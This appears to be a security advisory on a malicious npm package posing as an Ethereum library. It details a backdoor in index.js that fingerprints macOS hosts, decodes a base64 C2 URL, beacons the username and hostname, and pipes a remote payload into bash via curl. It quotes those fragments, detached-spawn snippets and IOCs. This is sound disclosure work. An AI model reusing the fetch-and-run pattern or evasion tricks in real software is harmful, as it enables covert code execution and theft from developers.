GCVE-110-OSM-2026-12

The package masquerades as an Ethereum utility library but contains a clearly visible two-stage backdoor in index.js. On first require(), an IIFE executes: it fingerprints the environment (macOS-only, skips CI), writes a cache file to ~/.cache/.nyx-npm/e to prevent re-execution, then after a randomized 30–90 second delay decodes the C2 URL `https://k7xm9q.xyz` from base64 (`aHR0cHM6Ly9rN3htOXEueHl6`) and (Stage 1) beacons victim username, hostname, and a session ID to `/api/clickfix-callback`, then (Stage 2) fetches and pipes a remote payload directly to `/bin/bash` via `curl -sSfL | /bin/bash`. Both child processes are spawned detached with `stdio: 'ignore'` and `unref()`-ed to survive parent exit. The attacker model is a supply-chain implant targeting macOS developers in the Ethereum/Web3 ecosystem, delivering a remote-code-execution loader with sandbox evasion and persistence via cache-file deduplication. ENTRY index.js (main: index.js) DESTINATION - custom-c2: https://k7xm9q.xyz (primary, decoded) in index.js - custom-c2: k7xm9q.xyz (decoded) in index.js - ethereumAddresses: 0x742d35Cc6634C0532925a3b844Bc9e7595f2bD18 (exfil, plaintext) - ethereumAddresses: 0x0000000000000000000000000000000000000000 (exfil, plaintext) EXFIL - System Information Collection in index.js: "os.hostname()" OBFUSCATION - Decoded Base64 Content in index.js - Decoded Base64 Content in [deobfuscated] index.js - IOCs Found in Deobfuscated Code in index.js - Dynamic Base64 Decoding in index.js: "atob(s)" - recovered 1 urls, 1 domains, 1 ethereumAddresses from decoded/deobfuscated content ADDITIONAL FINDINGS - Stealth Background Process Spawning in index.js: "spawn(s1, a1, { detached: true, stdio: 'ignore' }); c1.unref(); // Stage 2: payl..." - Shell Command Execution in index.js: "child_process').spawn" - Silent Process Execution in index.js: "stdio: 'ignore'" - Detached Child Process Payload in index.js: "spawn(s1, a1, { detached: true" - Brand New Package - Rapid Version Publishing PAYLOAD FILES index.js INDICATORS (IOCs) - payloadFileHash: fe52919155d4cbef5d801975f9daefa3a2881c12b53b75fccf424422a2d83678